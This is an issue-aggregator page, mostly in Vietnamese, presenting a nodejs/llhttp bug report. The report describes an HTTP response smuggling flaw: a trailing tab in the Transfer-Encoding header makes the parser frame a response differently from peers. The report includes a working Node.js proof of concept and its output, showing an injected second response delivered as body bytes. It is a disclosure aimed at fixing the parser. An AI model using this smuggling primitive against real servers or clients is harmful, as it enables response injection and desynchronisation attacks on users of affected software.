HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`
Maintainer thường phản hồi trong vòng 6 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 52/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Khá rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- node.js, typescript
- Lĩnh vực
- backend-api-design, security
Hướng nghiên cứu
Bắt đầu với các đường dẫn header_value_te_chunked_last và header_value_te_token, sau đó kiểm tra cách forbidAfterChunkedInRequest và lenient_transfer_encoding ảnh hưởng đến việc phân tích response. Tái hiện PoC Node.js được cung cấp và xác minh rằng HTAB ở cuối được xử lý như OWS đã bị loại bỏ, với framing chunked, việc phân phối body chính xác và các ranh giới message nhất quán.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.
PoC
const http = require('http'), net = require('net');
const RESP =
'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' + // note the trailing TAB
'5\r\nhello\r\n0\r\n\r\n' + // a complete chunked body
'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!'; // a second, separate response
const origin = net.createServer(c =>
c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));
origin.listen(0, () => http.get({ port: origin.address().port }, res => {
let body = '';
res.on('data', c => body += c);
res.on('end', () => {
console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
console.log('res.complete =', res.complete);
console.log('body =', JSON.stringify(body));
origin.close();
});
}));
res.headers['transfer-encoding'] = "chunked"
res.complete = true
body = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"
Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
tab NOT stripped (llhttp): headers_complete chunked=0 keepalive=0 body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped: headers_complete chunked=1 keepalive=1 body(5) 'hello' message_complete
headers_complete status=200 content_length=9 body(9) 'INJECTED!' message_complete
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.
- Ngôn ngữ chính
- TypeScript
- Star
- 2k
- Fork
- 236
- Merge trung bình
- 5 ngày 2 giờ
- Pull request đã merge (30 ngày)
- 1
Chuẩn bị môi trường
- Có Dockerfile hoặc tệp Docker Compose
- Không có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của nodejs/llhttp
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 72/100
Maintainer thường phản hồi trong vòng 6 ngày
-
HTTP request smuggling primitive: bare LF accepted as a request-line terminator in strict modeĐang mở
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 55/100
nodejs/llhttp#877 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 6 ngày
-
Not easy to get the number of methods llhttp hasCó thể đã có người làm @official-burak đã nhận 54 ngày trước. Đang mở
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 54/100
Maintainer thường phản hồi trong vòng 6 ngày
-
Should there be a way to block requests with multiple hosts or none are sent?Có thể đã có người làm @Vizonex đã nhận 201 ngày trước. Đang mở
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 32/100
nodejs/llhttp#816 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 6 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 45/100
nodejs/llhttp#782 · 2 bình luận · 4 reaction ·
Maintainer thường phản hồi trong vòng 6 ngày
Tất cả issue của nodejs/llhttp
Issue tương tự
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 82/100
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
juice-shop/juice-shop#3706 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
sbx up from a subfolder silently pushes the whole work treeCó thể đã có người làm @pdettori đã nhận hôm nay. Đang mởenhancement
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 76/100
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
outline/outline#14348 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug needs-triage
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
Maintainer thường phản hồi trong vòng 1 ngày